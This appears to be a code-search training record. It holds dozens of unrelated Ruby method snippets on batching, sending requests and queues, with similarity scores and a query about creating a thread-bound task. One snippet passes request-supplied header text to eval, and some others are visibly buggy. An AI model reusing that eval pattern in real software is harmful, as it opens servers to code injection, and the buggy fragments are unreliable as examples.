"def send_requests(evts)\n if evts.size < 1\n LOGGER.info(\"Skipping sending events since buffer is empty\")\n return\n end\n LOGGER.info(\"Attempting to send #{evts.size} request#{evts.size == 1 ? '' : 's'}\")\n\n evts.each do |event|\n event['stm'] = (Time.now.to_f * 1000).to_i.to_s # add the sent timestamp, overwrite if already exists\n end\n\n if @method == 'post'\n post_succeeded = false\n begin\n request = http_post(SelfDescribingJson.new(\n 'iglu:com.snowplowanalytics.snowplow/payload_data/jsonschema/1-0-4',\n evts\n ).to_json)\n post_succeeded = is_good_status_code(request.code)\n rescue StandardError => se\n LOGGER.warn(se)\n end\n if post_succeeded\n unless @on_success.nil?\n @on_success.call(evts.size)\n end\n else\n unless @on_failure.nil?\n @on_failure.call(0, evts)\n end\n end\n\n elsif @method == 'get'\n success_count = 0\n unsent_requests = []\n evts.each do |evt|\n get_succeeded = false\n begin\n request = http_get(evt)\n get_succeeded = is_good_status_code(request.code)\n rescue StandardError => se\n LOGGER.warn(se)\n end\n if get_succeeded\n success_count += 1\n else\n unsent_requests << evt\n end\n end\n if unsent_requests.size == 0\n unless @on_success.nil?\n @on_success.call(success_count)\n end\n else\n unless @on_failure.nil?\n @on_failure.call(success_count, unsent_requests)\n end\n end\n end\n\n nil\n end",
"def send(clients=1, bytesize=50)\n $log.info \"Send message bytesize: #{bytesize}\"\n\n message = Message.new(bytesize).to_s\n\n start = Time.now.to_f\n \n @client_class.send(@url, message, clients, @clients.first)\n \n $log.info \"msg to #{clients} clients. #{(Time.now.to_f - start).to_msec} ms\"\n end",
"def update_participant_point_totals!\n self.affected_participant_ids.each do |id|\n User.find(id).delay(queue: 'points').update_all_points! if User.exists?(id)\n end\n end",
"def send_multiple(content)\n content.each { |e| send_message(e) }\n end",
"def batch(*requests)\n body = requests.map do |request|\n {method: request[0], params: request[1..-1], jsonrpc: '2.0', id: SecureRandom.uuid}\n end\n parsed_response = parse_response(post(body))\n errors = parsed_response.select{|response| response[:error]}\n raise Error, errors if !errors.empty?\n parsed_response.map{|response| response[:result]}\n end",
"def each_point(&block)\n Merit::POINTS.times(&block)\n end",
"def send_batch\n if @payment_initiation.valid?\n do_send_batch\n else\n raise InvalidWireTransactionError,\n \"invalid wire transfer: #{@payment_initiation.error_messages}\"\n end\n end",
"def add_multiple_points(player)\n end",
"def batch b\n raise ArgumentError, \"Invalid batch size. Must be a positive integer.\" unless b.is_a?(Fixnum) && b > 0\n spawn :@batch, b\n end",
"def do_send_batch\n raise AbstractMethodError\n end",
"def send_requests(events)\n if events.empty?\n logger.info('Skipping sending events since buffer is empty')\n return\n end\n\n logger.info(\"Attempting to send #{events.size} request#{events.size == 1 ? '' : 's'}\")\n\n events.each do |event|\n # add the sent timestamp, overwrite if already exists\n event['stm'] = Timestamp.create.to_s\n end\n\n if @method == 'post'\n send_requests_with_post(events)\n elsif @method == 'get'\n send_requests_with_get(events)\n end\n\n nil\n end",
"def get_points(count = 1)\n points = []\n count.times do\n points << get_point\n end\n\n points\n end",
"def send_data(data)\n @lock.synchronize do\n\n @send_buffer += data\n limited_by_polling = (@last_send + @http_polling >= Time.now)\n limited_by_requests = (@pending_requests + 1 > @http_requests)\n\n # Can we send?\n if !limited_by_polling and !limited_by_requests\n data = @send_buffer\n @send_buffer = ''\n\n Thread.new do\n Thread.current.abort_on_exception = true\n post_data(data)\n end\n\n elsif !limited_by_requests\n Thread.new do\n Thread.current.abort_on_exception = true\n # Defer until @http_polling has expired\n wait = @last_send + @http_polling - Time.now\n sleep(wait) if wait > 0\n # Ignore locking, it's already threaded ;-)\n send_data('')\n end\n end\n\n end\n end",
"def send_emails(number_of_emails)\r\n SendEmails(number_of_emails)\r\n end",
"def batch_notify_users(mxit_ids, message, contains_markup, options={ spool: true,\n spool_timeout: 60*60*24*7 })\n\n Rails.logger.info('Requesting MXit API auth...')\n request_app_auth([\"message/send\"])\n Rails.logger.info('Finished MXit API auth.')\n\n batch_size = 50\n Rails.logger.info('Starting to notify users in batches of ' + batch_size.to_s + '...')\n i = 0\n while i < mxit_ids.count\n current_batch = mxit_ids[i, batch_size]\n i += current_batch.count \n\n to = current_batch.join(',')\n begin\n send_message(@app_name, to, message, contains_markup, options)\n rescue Exception => exception\n Rails.logger.error(\"The following batch caused an exception during send message:\" +\n \"\\n\\t#{to}\")\n Rails.logger.error(exception.message)\n end\n\n Rails.logger.info(\"Total users notified: \" + i.to_s)\n end\n Rails.logger.info('Finished notifying!')\n end",
"def batch(*requests)\n Batch.new(requests)\n end",
"def send(chunk)\n insertStmts = Array.new\n deleteStmts = Array.new\n \n columns = nil\n chunk.msgpack_each { |tag, time, data|\n tag_parts = tag.match(@tag_format)\n target_event = tag_parts['event']\n id_key = tag_parts['primary_key']\n \n keys = Array.new\n values = Array.new\n data = @format_proc.call(data)\n data.keys.sort.each do |key|\n keys << key\n values << data[key].to_json\n end\n \n if (target_event=='insert')\n if columns.to_s.empty?\n columns = \"(#{keys.join(\",\")})\"\n end\n insertStmts.push(\"(#{values.join(\",\")})\")\n elsif (target_event=='update')\n pkey=\"\"\n updates = Array.new\n keys.zip(values) { |key, value|\n if (key==id_key)\n pkey = getPkeyValue(value)\n else\n updates.push(\"#{key}=#{value}\")\n end \n }\n sendStmt = \"UPDATE #{table} SET #{updates.join(\",\")} WHERE #{id_key}=#{pkey}\"\n sendBO(@bo_url, sendStmt) \n elsif (target_event=='delete')\n keys.zip(values) { |key, value|\n if (key==id_key)\n pkey = getPkeyValue(value)\n end\n deleteStmts.push(\"#{id_key}=#{pkey}\")\n }\n end\n }\n \n if insertStmts.length>0\n sendStmt = \"INSERT INTO #{@table} #{columns} VALUES \" + insertStmts.join(\",\")\n sendBO(@bo_url, sendStmt)\n @log.debug(\"sending #{insertStmts.length} rows to bigobject for insert via Restful API\")\n end \n \n if deleteStmts.length>0\n sendStmt = \"DELETE FROM #{@table} WHERE \" + deleteStmts.join(\" or \")\n sendBO(@bo_url, sendStmt)\n @log.debug(\"sending #{deleteStmts.length} rows to bigobject for delete via Restful API\")\n end\n end",
"def send_chunks\n\t\t\tsend_headers unless @sent_headers\n\t\t\twhile chunk = @chunks.shift\n\t\t\t\traise \"last chunk already sent\" if @last_chunk_sent\n\t\t\t\ttext = chunk.is_a?(Hash) ? chunk[:text] : chunk.to_s\n\t\t\t\tsend_data \"#{format(\"%x\", text.length).upcase}\\r\\n#{text}\\r\\n\"\n\t\t\t\t@last_chunk_sent = true if text.length == 0\n\t\t\tend\n\t\tend",
"def flush\n send_batch( Traject::Util.drain_queue(@batched_queue) )\n end",
"def batch(request, request_options = {})\n client.post(Protocol.batch_uri(name), request.to_json, :batch, request_options)\n end",
"def perform\n return if cancelled?\n\n objects = [*1..200]\n batch = Sidekiq::Batch.new\n batch.on(:complete, 'BatchWorker')\n total objects.count\n batch.jobs do\n objects.each_with_index do |object, index|\n at(index + 1, \"Processing object #{object}\")\n PrintWorker.perform_async(object, index)\n end\n end\n end",
"def send_all(lines, &listener)\n lines.each do |line|\n message = line.to_json\n @producer.produce(message, topic: @topic)\n end\n @producer.deliver_messages unless @mode == :async and @auto_delivery == :enabled\n listener.call\n end",
"def batch_facebook_request_on_friends\n result = []\n facebook_friends.in_groups_of(50, false) do |facebook_friends|\n result << facebook_graph.batch do |batch_api|\n facebook_friends.each do |friend|\n yield batch_api, friend\n end\n end\n end\n result.flatten(1)\n end",
"def send_stats\n first_time = @prev_stat.empty?\n stats = build_request\n @stat.keys.each { |k| stats[k] = @stat[k] - @prev_stat[k] }\n @prev_stat.replace(@stat)\n # These should be reported as absolute values\n [:mt, :ma, :mc].each {|k| @prev_stat[k] = 0}\n return if first_time\n\n req = Net::HTTP::Post.new('/')\n req.set_form_data(stats)\n res = Net::HTTP.start(API, use_ssl: true) { |http| http.request(req) }\n unless res.is_a?(Net::HTTPOK)\n STDERR.puts \"Error sending stat: #{res.message}\"\n end\n res\n end",
"def submit_batches!(lock_object=nil)\n File.makedirs(cache_location)\n batches_submitted = 0\n with_ftp do # causes all batches to be uploaded in a single session\n # 1) Gather all payments for this client.\n batches.each do |batch| # 2) For each file type (ach, cc) yet to be uploaded:\n batches_submitted += 1 if submit_batch!(batch, lock_object)\n end\n end\n batches_submitted\n end",
"def schedule_multiple_points\n validate(\n csv: []\n )\n\n custom_experiment = (@experiment.type == 'manual_points')\n raise ValidationError.\n new(:id, @experiment.id, 'Not a custom-points experiment') unless custom_experiment\n\n points = CSV.new(Utils.read_if_file(params[:csv]).to_s, headers: true).map &:to_h\n @experiment.add_points!(points)\n\n respond_to do |format|\n format.json { render json: {status: 'ok'}, status: :ok }\n end\n end",
"def batch(serial_only=false)\n @batch_request=true\n Thread.current[:facebooker_current_batch_queue]=[]\n yield\n # Set the batch request to false so that post will execute the batch job\n @batch_request=false\n BatchRun.current_batch=Thread.current[:facebooker_current_batch_queue]\n post(\"facebook.batch.run\",:method_feed=>BatchRun.current_batch.map{|q| q.uri}.to_json,:serial_only=>serial_only.to_s)\n ensure\n @batch_request=false\n BatchRun.current_batch=nil\n end",
"def batch\n yield self.class.new(batch = Transport::Queue.new)\n\n batch.inject(Hash.new { |h,k| h[k]=[] }) do |stats, stat|\n # [ \"foo.bar:10|c\", \"foo.bar:101|ms\" ]\n key, value = stat.split(':', 2)\n stats[key] << value\n stats\n end.sort.each do |pairs|\n # [ \"foo.bar\", [ \"10|c\", \"101|ms\" ] ]\n @transport.write(pairs.flatten.join(\":\"))\n end\n self\n end",
"def run_bulk; end",
"def send_pending_data\n needs_looping = true\n while needs_looping\n needs_looping = false\n pending_data.delete_if do |socket, chunks|\n if chunks.empty?\n # nothing left to send for this socket\n next\n end\n\n buffer = chunks.shift\n while !chunks.empty? && (buffer.size + chunks[0].size < DATA_CHUNK_SIZE)\n buffer.concat(chunks.shift)\n end\n Server.debug \"sending #{buffer.size} bytes to #{socket}\"\n\n begin\n written = socket.write_nonblock(buffer)\n rescue Interrupt\n raise\n rescue Errno::EAGAIN\n Server.debug \"cannot send: send buffer full\"\n chunks.unshift(buffer)\n next\n rescue Exception => e\n Server.warn \"disconnecting from #{socket}: #{e.message}\"\n e.backtrace.each do |line|\n Server.warn \" #{line}\"\n end\n socket.close\n next(true)\n end\n\n remaining = buffer.size - written\n if remaining == 0\n Server.debug \"wrote complete chunk of #{written} bytes to #{socket}\"\n # Loop if we wrote the complete chunk and there\n # is still stuff to write for this socket\n needs_looping = !chunks.empty?\n else\n Server.debug \"wrote partial chunk #{written} bytes instead of #{buffer.size} bytes to #{socket}\"\n chunks.unshift(buffer[written, remaining])\n end\n false\n end\n end\n end",
"def perform(&block)\n raise Exception.new(\"You must have at least 2 requests\") unless @requests.length > 1\n @responses.clear\n requests.each_slice(Limit).to_a.each do |batch|\n body = {\n :batch => Yajl::Encoder.encode(batch),\n :access_token => Baloo.client_credentials\n }\n Client.post(\"/\", :body => body).each do |response|\n # response['headers'] = Yajl::Parser.parse(response['headers'])\n response['body'] = Yajl::Parser.parse(response['body'])\n yield response\n end\n end\n end",
"def script_do_in_batches(options = {}, &block)\n start = Time.now\n count_options = options.reject {|k,v| %w(order select batch_size sleep logger).include?(k.to_s)}\n item_count = count(count_options)\n iteration = 1\n do_in_batches(options) do |record|\n msg = \"#{iteration} of #{item_count} (#{(iteration.to_f / item_count * 100).round(2)}%)\"\n puts \"#{record.id.to_s.ljust(10)} #{msg.ljust(30)} time #{Time.now - start}\"\n yield(record)\n iteration += 1\n end\n puts \"Finished in #{Time.now - start} s\"\n end",
"def buffer_import(data, batch_size: 50, sleep_duration: 0.1)\n data.each_slice(batch_size) do |attributes|\n self.import(attributes, *args)\n sleep(sleep_duration)\n end\n end",
"def addPoints(points) \n\t\t@points += points\n\tend",
"def process_data_requests\n # guard against recursive calls\n return if @processing_data_requests\n\n # guard against simultaneous calls\n @data_requests_mutex.synchronize do\n begin\n @processing_data_requests = true\n @data_requests.map! do |req|\n while req && req.channel.window_size > 0\n remaining = if req.type\n req.channel.send_extended_data_packet( req.type, req.data )\n else\n req.channel.send_data_packet( req.data )\n end\n if remaining\n req.data = remaining\n else\n req = nil\n end\n end\n\n req\n end\n @data_requests.compact!\n ensure\n @processing_data_requests = false\n end\n end\n end",
"def bulk_write(requests, options = {})\n BulkWrite.new(self, requests, options).execute\n end",
"def create_batch urls\n function = 'batch/'\n\n post_data = {}\n post_data[:urls] = urls.join(',')\n\n request(@resource, function, nil, 'post', post_data)\n end",
"def price_bulk_load\n logger.info 'PRICE BULK LOAD REQUESTED.'\n FeedWorker.perform_async('price_bulk_load')\n head :accepted\n end",
"def send_data(*args)\n EM.next_tick do\n @socket.send_data(*args)\n end\n end",
"def send_pending; end",
"def push_number(stream, point)\n post stream, point\n end",
"def send_data(&block)\n create_data do |data|\n tessen_api_request(data, &block)\n end\n end",
"def rank(locations, center, userList)\n @points = []\n locations.each do |location|\n @points.push({\"id\" => location.id, \"lat\" => location.lat, \"lng\" => location.lng})\n end\n\n #Compute time from each user to all points\n userList.each do |user|\n if user.latitude && user.longitude\n request = {\n \"format\" => \"json\",\n \"api_id\" => API_ID,\n \"api_key\" => API_KEY,\n \"origin\" => { \"lat\" => user.latitude, \"lng\" => user.longitude },\n \"travel_time\" => \"36000\",\n \"mode\" => \"driving\",\n \"points\" => @points\n }.to_json\n url = 'http://api.igeolise.com/time_filter'\n user.times = ActiveSupport::JSON.decode(RestClient.post(url, request, :content_type => :json, :accept => :json))\n user.times.each do |result|\n @points.select { |p| p[\"id\"] = result.id }.totalTime += result.time\n end\n else\n user.times = [];\n end\n end\n\n #Compute average time to each point\n @points.each do |point|\n point.averageTime = point.time / userList.count\n end\n\n #Compute sum of squares of the difference of usertime and averagetime\n @points.each do |point|\n @userList.each do |user|\n timeForUser = user.times.select { |p| p[\"id\"] = point.id}.time\n point.totalSquareTime += (timeForUser - point.averageTime)^2\n end\n end\n\n\n #Maybe check if place is open using google api?\n\n #Sort points by min totalSquareTime\n @points.sort! { |a,b| a.totalSquareTime <=> b.totalSquareTime }\n end",
"def puts_batch(host_item,batch_arr)\r\n begin\r\n client = TCPSocket.new(host_item['host'], host_item['port'])\r\n client.puts(batch_arr)\r\n batch_arr.clear\r\n rescue => exc\r\n @log.write(self, 'error', exc.inspect)\r\n @log.write(self, 'debug', exc.backtrace.join(\"\\n \"))\r\n sleep(1)\r\n ensure\r\n client.close if client\r\n end if batch_arr.size > 0\r\n end",
"def send_every=(i)\n raise ArgumentError, \"send_every must be an integer\" unless i.is_a?(Integer) \n @send_every = i\n end",
"def publish_batch(messages)\n keys = messages.map { |m| m[:key] }\n payloads = messages.map { |m| m[:payload] }\n\n test_consume_batch(MyBatchConsumer, payloads, keys: keys, call_original: true)\n end",
"def publish\n benchmark = Benchmark.measure do\n publisher_thread_count.times.map do |thread_idx|\n Thread.new do\n batch_count = (iterations / publisher_thread_count).ceil\n puts \"Publishing #{batch_count} records on thread #{thread_idx + 1}/#{publisher_thread_count}\"\n batch_count.times do |n|\n kinesis.put_record(stream_name: stream_name, partition_key: partition_key, data: \"this is message #{thread_idx}/#{n}\") \n end\n end\n end.map(&:join)\n end\n puts \"published #{iterations} records in #{\"%0.2f\" % benchmark.real} seconds\"\n end",
"def run_batch\n make_run_batch_call\n end",
"def execute(http_options = {})\n return [] if batch_calls.empty?\n\n batch_results = []\n batch_calls.each_slice(MAX_CALLS) do |batch|\n # Turn the call args collected into what facebook expects\n args = {\"batch\" => batch_args(batch)}\n batch.each do |call|\n args.merge!(call.files || {})\n end\n\n original_api.graph_call(\"/\", args, \"post\", http_options) do |response|\n raise bad_response if response.nil?\n\n batch_results += generate_results(response, batch)\n end\n end\n\n batch_results\n end",
"def execute_bulk_request(**execute_request_params)\n results = []\n payloads = execute_request_params[:payload].each_slice(@api_limit).to_a\n payloads.each do |p|\n execute_request_params[:payload] = p\n results << execute_request(**execute_request_params)\n end\n results.flatten\n end",
"def execute_bulk_requests\n begin\n @responses = Hash.new\n @headers = Hash.new\n @all_urls = Hash.new\n data = ActiveSupport::JSON.decode(params[:data])\n @detailed_results = data[\"detailed_results\"]\n num_threads = data[\"threads\"].to_i\n data[\"lines_to_send\"].threadify(num_threads) { |line|\n path = data[\"path\"].gsub(/XXXCHANGEMEXXX/, line)\n headers = data[\"headers\"].gsub(/XXXCHANGEMEXXX/, line)\n body = data[\"body\"].gsub(/XXXCHANGEMEXXX/, line)\n data.each do |key, value|\n if key.start_with?(\"replace_\") && !key.end_with?(\"_by\")\n path.gsub!(\"XXX#{value}XXX\",data[key + \"_by\"]) if data[key + \"_by\"] != \"\"\n headers.gsub!(\"XXX#{value}XXX\",data[key + \"_by\"]) if data[key + \"_by\"] != \"\"\n body.gsub!(\"XXX#{value}XXX\",data[key + \"_by\"]) if data[key + \"_by\"] != \"\"\n end\n end\n if @cloud\n if @cloud.api == \"Atmos\"\n @responses[line], @headers[line], @all_urls[line] = atmos_request(data[\"http_method\"], path, headers, body)\n elsif @cloud.api == \"Amazon\"\n @responses[line], @headers[line], @all_urls[line] = amazon_request(data[\"http_method\"], path, headers, body)\n elsif @cloud.api == \"Swift\"\n @responses[line], @headers[line], @all_urls[line] = swift_request(data[\"http_method\"], path, headers, body)\n end\n else\n url = path\n uri = URI.parse(url)\n headers_to_send = Hash.new\n headers.split(\"\\n\").each do |row|\n hash = eval(row)\n headers_to_send[hash.keys.first.downcase] = hash.values.first.to_s\n end\n @responses[line] = http_request(url, uri.port, data[\"http_method\"], headers_to_send, body)\n @headers[line] = headers_to_send\n end\n }\n rescue Exception => e\n @exception = e\n end\n respond_to do |format|\n format.js { render 'shared/execute_bulk_requests' }\n end\n end",
"def add_batch_recipients(number_of_recipients=10)\n #dummy_email_addresses = [\"test1@sink.sendgrid.net\",\"test2@sink.sendgrid.net\",\"test3@sink.sendgrid.net\"]\n dummy_email_addresses = generate_random_email_addresses(number_of_recipients)\n email_array_batch_input = create_email_list_for_batch_recipient_add(dummy_email_addresses)\n payload = email_array_batch_input.to_json\n puts \"adding recipients to db from #{payload}\"\n url = \"#{@goseg_base_url}/recipients_batch\"\n res = RestClient.post(url,payload){|response, request, result| response }\n return res\n end",
"def live_send(destinations,body,clientmessagereference,options = {})\n @options[:method] = 'sendsms'\n @options[:destinations] = to_csv(destinations) \n @options[:clientmessagereference] = clientmessagereference\n @options[:body] = body\n @options.merge(options)\n response = ta_response(send_params)\n return response\n end",
"def batch(requests)\n data = requests.map { |request| Request.new(*request).data }\n RPC.log \"CLIENT ENCODE BATCH #{data.inspect}\"\n data.to_json\n end",
"def send_all(event, data)\n\t\tEM.next_tick {\n\t\t\t@sockets.each do |s|\n\t\t\t\ts.send(event, data) \n\t\t\tend\n\t\t}\n\tend",
"def write_batch(messages)\n redis = @config.connection\n opt = send_options\n messages.each_slice(@config.batch_size) do\n attempt = 0\n begin\n redis.pipelined do\n messages.each do |msg|\n redis.xadd(@config.stream_name, {m: msg}, **opt)\n end\n end\n rescue StandardError => exception\n attempt += 1\n retry if attempt <= 3\n @error_logger.warn \"unable to write redis logs: #{exception}\"\n messages.each { |m| @error_logger.info(m) }\n end\n end\n end",
"def batch_requests(pipeline_params, limit = nil)\n limit ||= Process.respond_to?(:getrlimit) ? Process.getrlimit(:NOFILE).first : 256\n responses = []\n\n pipeline_params.each_slice(limit) do |params|\n responses.concat(requests(params))\n end\n\n responses\n end",
"def send_data(*args)\n EM.next_tick do\n @socket.send_data(*args)\n end\n end",
"def ingest_pets\n count = 100\n reps = 50\n counter = 0\n offset = 0\n p = count\n sizes = [\"S\", \"M\", \"L\"]\n round = 0\n\n while p == count && counter < reps && round < sizes.length\n p = PetfinderApi.load_pets('dog', 10014, :offset => offset, :count => count, :size => sizes[round])\n offset += count\n counter += 1\n if (p < count || offset >= 2000) && round < sizes.length\n round += 1\n offset = 0\n counter = 0\n end\n puts \"Size #{sizes[round]} Round #{counter}: #{count} results.\"\n end\nend",
"def send_tweets\n\n\t\ttweets = TweetQueue.all\n\n\t\ttweets.each do |tweet|\n\n\t\t\ttext \t\t\t= tweet.text\n\n\t\t\ttweet_source \t= {:id => tweet.source}\n\n\t\t\tnew_tweet = reply(text, tweet_source)\n\n\t\t\tunless new_tweet.is_unique?\n\t\t\t\trandom_suffix = random_chars(2)\n\t\t\t\tnew_tweet = reply(text + random_suffix, tweet_source)\n\t\t\t\tdebug \"Duplicate tweet id detected; adding random emoji\"\n\t\t\tend\n\n\t\t\tstore_id_of new_tweet\n\n\t\t\ttweet.destroy\n\t\t\tdebug \"Outgoing Tweet: #{new_tweet.text}\"\n\n\t\tend # tweets.each\n\n\tend",
"def request_chunks(id)\n @gateway.send_request_members(id, '', 0)\n end",
"def publish_batch_messages batch\n resp = connection.publish name, batch.messages\n if resp.success?\n batch.to_gcloud_messages resp.data[\"messageIds\"]\n else\n fail ApiError.from_response(resp)\n end\n end",
"def batch options = {}\n Diffbot::APIClient::Batch.new self, options\n end",
"def send_to_all(message)\n EM.next_tick do\n settings.sockets.each do |s|\n s.send(message.to_json)\n end\n end\n end",
"def batch\n shp = Shipment.new(shipment_params)\n\n job_params = {\n shipment_ids: params[:shipment_ids],\n carrier: shp.carrier,\n service: shp.ship_method,\n packaging: shp.packaging_type,\n length: shp.package_length.to_f,\n width: shp.package_width.to_f,\n height: shp.package_height.to_f,\n weight: shp.package_weight.to_f,\n require_signature: shp.require_signature,\n printer_id: params[:printer_id],\n send_email: params[:send_email] == \"1\",\n ship_date: shp.ship_date.to_s,\n user_id: session[:user_id]\n }\n\n Shipment.where(id: params[:shipment_ids]).update_all(batch_status: \"queued\", batch_status_message: \"\")\n BatchShipJob.perform_later(job_params)\n\n redirect_to action: :batch_status, shipment_ids: params[:shipment_ids].join(\".\")\n end",
"def peers_send(peers,message)\r\n\t\t\tpeers.each{|peer|\r\n\t\t\t\tsend_peer(peer,message)\r\n\t\t\t}\r\n\t\tend",
"def send_batch(batch)\n smarty_request = Request.new\n\n return if batch.empty?\n\n converted_lookups = remap_keys(batch.all_lookups)\n\n if batch.size > 1\n smarty_request.payload = @serializer.serialize(converted_lookups)\n else\n smarty_request.parameters = converted_lookups[0]\n end\n\n response = @sender.send(smarty_request)\n\n raise response.error if response.error\n\n candidates = @serializer.deserialize(response.payload)\n candidates = [] if candidates.nil?\n\n assign_candidates_to_lookups(batch, candidates)\n end",
"def batch!(request, request_options = {})\n res = batch(request, request_options)\n wait_task(res['taskID'], WAIT_TASK_DEFAULT_TIME_BEFORE_RETRY, request_options)\n res\n end",
"def send_targets &block\n\t\t\ttargets = @rate_targets.to_a\n\t\t\t@rate_targets.clear\n\n\t\t\treturn if targets.empty?\n\n\t\t\ttarget, cbs = targets.shift\n\n\t\t\ttarget_cb = proc {|status, result|\n\n\t\t\t\tcbs.each do |cb|\n\t\t\t\t\tbegin\n\t\t\t\t\t\tcb.call status, result if cb\n\t\t\t\t\trescue => e\n\t\t\t\t\t\tlog_e e, \"Error notifying rate limited target #{t} callback #{cb.inspect}\"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\ttarget, cbs = targets.shift\n\n\t\t\t\tif target\n\t\t\t\t\tlog \"Sending subsequent target #{target}\" # XXX\n\t\t\t\t\ttarget.send_changes &target_cb\n\t\t\t\telse\n\t\t\t\t\tyield if block_given?\n\t\t\t\tend\n\t\t\t}\n\n\t\t\tlog \"Sending first target #{target}\" # XXX\n\t\t\ttarget.send_changes &target_cb\n\t\tend",
"def write(points = [], openclose = manage_conn, prefix = nil)\n writer.write(points, openclose, prefix)\n end",
"def send_batch_request(batch)\n post_data = batch.to_json\n resp = RestClient.post(@url, post_data, content_type: 'application/json', user_agent: \"syncano-ruby-#{Syncano::VERSION}\")\n if resp.nil? || resp.body.nil? || resp.body.empty?\n raise Jimson::ClientError::InvalidResponse.new\n end\n\n return resp.body\n end",
"def snapshot_every_n_requests; end",
"def run_bulk(t, first, last, incr = 1)\n retry_until { DRMAA.run_bulk_jobs(t.ptr, first, last, incr) }\n end",
"def bulk_update_document index, data\n Parallel.each( data.each_slice(4), in_threads: ENV['NUMBER_OF_THREADS'].to_i ) do |slice|\n # Hardcoded for slice of 4 elements, of which we need to combine 2\n enriched_slice = slice.map do |document|\n { doc: document, serialization: document.to_json }\n end\n\n nested_slice = []\n\n if enriched_slice.any? { |s| s[:serialization].length > 50_000_000 }\n log.debug(\"Splitting bulk update document into separate requests because one document more than 50Mb\")\n enriched_slice.each_slice(2) do |tuple|\n nested_slice << tuple\n end\n else\n nested_slice = [enriched_slice]\n end\n\n nested_slice.each do |enriched_postable_slice|\n begin\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_bulk\")\n req = Net::HTTP::Post.new(uri)\n body = \"\"\n enriched_postable_slice.each do |enriched_document|\n body += enriched_document[:serialization] + \"\\n\"\n end\n req.body = body\n\n req[\"Content-Type\"] = \"application/x-ndjson\"\n\n run(uri, req)\n rescue SocketError => e\n log.warn(e)\n tries = 1\n while ! up\n log.info \"Waiting for elastic search\"\n sleep tries\n tries +=1\n end\n log.debug \"Retrying request\"\n run(uri, req)\n rescue StandardError => e\n log.warn( \"Failed to upload #{enriched_postable_slice.length} documents\" )\n\n ids = enriched_postable_slice.map do |enriched_document|\n enriched_document && enriched_document[:doc][:index] && enriched_document[:doc][:index][:_id]\n end\n\n log.warn( e )\n log.warn( \"Failed to upload documents #{ids.join(\", \")} with total length #{body.length}\" )\n log.warn( \"Failed documents #{ids.join(\", \")} are not ginormous\" ) if body.length < 100_000_000\n end\n end\n end\n end",
"def bulk(data, options={})\n request(:post, \"_bulk\", options, data)\n end",
"def next_batch\n summoner = Summoner.by_name(params[:name])\n matches = $redis.get(\"#{summoner.id}#{params[:limit]}\")\n\n unless matches\n matches = Match.get(\n summoner,\n params[:offset].to_i,\n params[:limit].to_i\n ).to_json\n $redis.set(\"#{summoner.id}#{params[:limit]}\", matches)\n end\n @matches = JSON.parse matches\n\n data_ids = get_ids\n @champions = Champion.in_match(data_ids[:champions])\n @spells = Spell.in_match(data_ids[:spells])\n @items = Item.in_match(data_ids[:items])\n\n render :index\n end",
"def run_01props_put_for_txn_batch\n do_run_00warmup(20, 0.5, 10)\n do_run_01props_put(\n :count => [8],\n :index => [true],\n :type => [\"integer\"],\n :txn => [true, false],\n :batch => [true, false],\n :repeat => [1,4,8,32],\n :thread_count => 10\n )\nend",
"def batch_modify_rows(action, rows, per_page=100)\n if not per_page.is_a? Fixnum or not per_page > 0\n raise VeritableError.new(\"Batch upload or delete must have integer page size greater than 0.\")\n end\n batch = []\n rows.each do |row|\n Util.check_row(row)\n batch.push(row)\n if batch.size == per_page\n post(link('rows'), {'action' => action, 'rows' => batch}) \n batch = []\n end \n end\n if batch.size > 0\n post(link('rows'), {'action' => action, 'rows' => batch})\n end\n end",
"def bulk(data, options = {})\n request(:post, \"_bulk\", options, data)\n end"
] |
[
"0.61290437",
"0.60472465",
"0.5712649",
"0.56227756",
"0.56149447",
"0.55629003",
"0.5535943",
"0.5477959",
"0.5416563",
"0.5410397",
"0.5389276",
"0.5386063",
"0.53725266",
"0.5363811",
"0.53573585",
"0.53545845",
"0.5338584",
"0.5328771",
"0.5321805",
"0.53210855",
"0.52771735",
"0.5260421",
"0.52303004",
"0.5217608",
"0.5205416",
"0.5200867",
"0.5199064",
"0.5180621",
"0.517382",
"0.5171456",
"0.5164199",
"0.51413685",
"0.5128163",
"0.5118444",
"0.51166445",
"0.5106259",
"0.50910366",
"0.50752866",
"0.5065544",
"0.50610167",
"0.50547874",
"0.50541675",
"0.5040649",
"0.502523",
"0.50227994",
"0.50198007",
"0.5015578",
"0.50037766",
"0.49943852",
"0.49919733",
"0.49899608",
"0.49823487",
"0.4981931",
"0.49815398",
"0.4960949",
"0.4954651",
"0.49516156",
"0.49499813",
"0.49491856",
"0.49484226",
"0.49368787",
"0.49366897",
"0.49344778",
"0.49333465",
"0.49305114",
"0.4929696",
"0.4920433",
"0.49192944",
"0.4917317",
"0.49129742",
"0.49087965",
"0.4898116",
"0.48921305",
"0.48855665",
"0.48761228",
"0.48666742",
"0.4863927",
"0.48453844",
"0.48438758",
"0.48426694",
"0.48406982",
"0.48363143",
"0.48345304",
"0.48228085",
"0.48227185",
"0.48124978",
"0.47971377",
"0.47927403",
"0.47815415",
"0.4781282",
"0.47755608",
"0.47698128",
"0.4768599",
"0.47682196",
"0.4766035",
"0.47614533",
"0.47591105",
"0.47585124",
"0.47560975",
"0.47507125"
] |
0.6768508
|
0
|
Create a new task, assigned to run on the given thread.
|
def initialize(thread, &block)
@thread = thread
@block = block
@value_mutex = Mutex.new
@value_cond = Turbine::ConditionVariable.new
@called = false
@value = nil
@value_type = nil
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def task_create(task, data=nil)\n if task_present? task\n task = task_get task\n elsif task.is_a? Deployment::Task\n task = task_add task\n else\n task = Deployment::Task.new task, node, data\n task = task_add task\n end\n task.data = data if data\n task\n end",
"def task name, options={}, &block\n task = Task.new name, options, &block\n TodoRunner.registry[name] = task\n end",
"def to_task\n task = Task.new(work_block: proc { run!(params_to_hash) })\n task.recreatable = true\n task.recreatable.freeze # Avoid further mutations on this.\n task.recreatable_class = self.class\n task.recreatable_class.freeze\n task.recreatable_params = params_to_hash\n task.recreatable_params.freeze\n task\n end",
"def task(&block) \n task = TaskRunnable.new\n task.proc = Proc.new(block)\n task\n end",
"def createSimpleTask _obj, _args\n \"_obj createSimpleTask _args;\" \n end",
"def create(task)\n validate_type!(task)\n\n attributes = sanitize(task)\n _, _, root = @client.post(\"/tasks\", attributes)\n\n Task.new(root[:data])\n end",
